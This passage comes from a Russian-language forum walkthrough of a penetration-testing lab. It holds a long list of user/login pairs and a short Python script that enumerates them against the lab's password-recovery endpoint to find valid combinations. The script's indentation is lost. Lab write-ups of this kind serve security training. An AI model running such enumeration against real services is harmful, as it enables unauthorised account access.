"bobrova"}, {"user": "Stepanova", "login": "stepanova"}, {"user": "Dmitriev", "login": "dmitriev"}, {"user": "Dorofeeva", "login": "dorofeeva"}, {"user": "Silin", "login": "silin"}, {"user": "Tsvetkov", "login": "tsvetkov"}, {"user": "Antonov", "login": "antonov"}, {"user": "Belov", "login": "belov"}, {"user": "Novikova", "login": "novikova"}, {"user": "Martynov", "login": "martynov"}, {"user": "Kovalev", "login": "kovalev"}, {"user": "Egorov", "login": "egorov"}, {"user": "Kirillova", "login": "kirillova"}, {"user": "Chernova", "login": "chernova"}, {"user": "Dmitriev", "login": "dmitriev"}, {"user": "Kazakov", "login": "kazakov"}, {"user": "Gavrilova", "login": "gavrilova"}, {"user": "Beljaeva", "login": "beljaeva"}, {"user": "Kulakova", "login": "kulakova"}, {"user": "Samsonova", "login": "samsonova"}, {"user": "Pavlova", "login": "pavlova"}, {"user": "Zimina", "login": "zimina"}, {"user": "Sidorova", "login": "sidorova"}, {"user": "Strelkov", "login": "strelkov"}, {"user": "Guseva", "login": "guseva"}, {"user": "Kulikov", "login": "kulikov"}, {"user": "Shestakov", "login": "shestakov"}, {"user": "Ershova", "login": "ershova"}, {"user": "Davydov", "login": "davydov"}, {"user": "Nikolaev", "login": "nikolaev"}, {"user": "Andreev", "login": "andreev"}, {"user": "Rjabova", "login": "rjabova"}, {"user": "Grishin", "login": "grishin"}, {"user": "Turov", "login": "turov"}, {"user": "Kopylov", "login": "kopylov"}, {"user": "Maksimova", "login": "maksimova"}, {"user": "Egorov", "login": "egorov"}, {"user": "Seliverstov", "login": "seliverstov"}, {"user": "Kolobov", "login": "kolobov"}, {"user": "Kornilova", "login": "kornilova"}, {"user": "Romanov", "login": "romanov"}, {"user": "Beljakov", "login": "beljakov"}, {"user": "Morozov", "login": "morozov"}, {"user": "Konovalova", "login": "konovalova"}, {"user": "Kolobov", "login": "kolobov"}, {"user": "Koshelev", "login": "koshelev"}, {"user": "Bogdanov", "login": "bogdanov"}, {"user": "Seleznev", "login": "seleznev"}, {"user": "Smirnov", "login": "smirnov"}, {"user": "Mamontova", "login": "mamontova"}, {"user": "Voronova", "login": "voronova"}, {"user": "Zhdanov", "login": "zhdanov"}, {"user": "Zueva", "login": "zueva"}, {"user": "Mjasnikova", "login": "mjasnikova"}, {"user": "Medvedeva", "login": "medvedeva"}, {"user": "Knjazeva", "login": "knjazeva"}, {"user": "Kuznetsova", "login": "kuznetsova"}, {"user": "Komissarova", "login": "komissarova"}, {"user": "Gorbunova", "login": "gorbunova"}, {"user": "Blohina", "login": "blohina"}, {"user": "Tarasov", "login": "tarasov"}, {"user": "Lazarev", "login": "lazarev"}, {"user": "Rusakova", "login": "rusakova"}, {"user": "Vinogradov", "login": "vinogradov"}, {"user": "Shilov", "login": "shilov"}, {"user": "Strelkova", "login": "strelkova"}, {"user": "Komissarov", "login": "komissarov"}, {"user": "Kirillov", "login": "kirillov"}, {"user": "Jakusheva", "login": "jakusheva"}, {"user": "Mironov", "login": "mironov"}, {"user": "Kudrjavtseva", "login": "kudrjavtseva"}, {"user": "Vlasova", "login": "vlasova"}, {"user": "Fomin", "login": "fomin"}, {"user": "Nosova", "login": "nosova"}, {"user": "Aleksandrov", "login": "aleksandrov"}, {"user": "Teterina", "login": "teterina"}, {"user": "Gromov", "login": "gromov"}, {"user": "Odintsova", "login": "odintsova"}, {"user": "Schukin", "login": "schukin"}, {"user": "Shashkov", "login": "shashkov"}, {"user": "Lobanova", "login": "lobanova"}, {"user": "Suvorova", "login": "suvorova"}, {"user": "Panfilov", "login": "panfilov"}, {"user": "Loginov", "login": "loginov"}, {"user": "Kovalev", "login": "kovalev"}, {"user": "Rybakov", "login": "rybakov"}, {"user": "Konstantinova", "login": "konstantinova"}, {"user": "Bykov", "login": "bykov"}, {"user": "Lukina", "login": "lukina"}, {"user": "Vinogradov", "login": "vinogradov"}, {"user": "Antonova", "login": "antonova"}, {"user": "Nekrasov", "login": "nekrasov"}, {"user": "Mamontova", "login": "mamontova"}, {"user": "Denisov", "login": "denisov"}, {"user": "Stepanova", "login": "stepanova"}, {"user": "Suvorova", "login": "suvorova"}, {"user": "Krjukova", "login": "krjukova"}, {"user": "Samojlova", "login": "samojlova"}, {"user": "Gromov", "login": "gromov"}, {"user": "Kazakov", "login": "kazakov"}, {"user": "Matveev", "login": "matveev"}, {"user": "Sergeeva", "login": "sergeeva"}, {"user": "Bobylev", "login": "bobylev"}, {"user": "Sitnikova", "login": "sitnikova"}, {"user": "Grishina", "login": "grishina"}, {"user": "Blinova", "login": "blinova"}, {"user": "Doronina", "login": "doronina"}, {"user": "Ignatov", "login": "ignatov"}, {"user": "Gromov", "login": "gromov"}, {"user": "Koshelev", "login": "koshelev"}, {"user": "Orehov", "login": "orehov"}, {"user": "Matveev", "login": "matveev"}, {"user": "Rozhkova", "login": "rozhkova"}, {"user": "Gerasimov", "login": "gerasimov"}, {"user": "Martynova", "login": "martynova"}, {"user": "Molchanova", "login": "molchanova"}, {"user": "Timofeeva", "login": "timofeeva"}, {"user": "Kuznetsov", "login": "kuznetsov"}, {"user": "Loginova", "login": "loginova"}, {"user": "Maslova", "login": "maslova"}, {"user": "Matveev", "login": "matveev"}, {"user": "Zaharov", "login": "zaharov"}, {"user": "Nikiforova", "login": "nikiforova"}, {"user": "Galkina", "login": "galkina"}, {"user": "Vishnjakova", "login": "vishnjakova"}, {"user": "Kulakov", "login": "kulakov"}, {"user": "Medvedev", "login": "medvedev"}, {"user": "Antonova", "login": "antonova"}, {"user": "Konovalov", "login": "konovalov"}, {"user": "Lazarev", "login": "lazarev"}, {"user": "Bobylev", "login": "bobylev"}, {"user": "Lihachev", "login": "lihachev"}, {"user": "Nikolaeva", "login": "nikolaeva"}, {"user": "Bogdanov", "login": "bogdanov"}, {"user": "Gorbachev", "login": "gorbachev"}, {"user": "Nikolaev", "login": "nikolaev"}, {"user": "Semenova", "login": "semenova"}, {"user": "Semenov", "login": "semenov"}, {"user": "Kuznetsov", "login": "kuznetsov"}, {"user": "Gromova", "login": "gromova"}, {"user": "Samsonov", "login": "samsonov"}, {"user": "Konovalov", "login": "konovalov"}, {"user": "Gusev", "login": "gusev"}, {"user": "Sitnikov", "login": "sitnikov"}, {"user": "Ignatov", "login": "ignatov"}, {"user": "Voronova", "login": "voronova"}, {"user": "Mihajlov", "login": "mihajlov"}, {"user": "Lazareva", "login": "lazareva"}, {"user": "Nazarova", "login": "nazarova"}, {"user": "Krylova", "login": "krylova"}, {"user": "Morozova", "login": "morozova"}, {"user": "Medvedeva", "login": "medvedeva"}, {"user": "Samsonova", "login": "samsonova"}, {"user": "Mamontova", "login": "mamontova"}, {"user": "Shirjaeva", "login": "shirjaeva"}, {"user": "Scherbakov", "login": "scherbakov"}]
import requests
URL = "http://user-api.test.lab:8000/recover_password"
for x in some:
r = requests.get(URL, params=x)
res = r.text
if res != '"Restricted area, use valid credentials!"':
print x
print res
Который автоматизировал поиск пары логина и юзера. Вспомните как долго у нас искал Burp Suite.
Далее нам всего лишь остается правильно сконвертировать пароль в URL т.к. он имеет спецсимволы и токен у нас...
Осталось 3 токена: API, Admin, Image
Ну вот мы и подошли к сомому сладенькому. Давайте добъем эти интересные 3 токена в последней части под №4...
Последнее редактирование: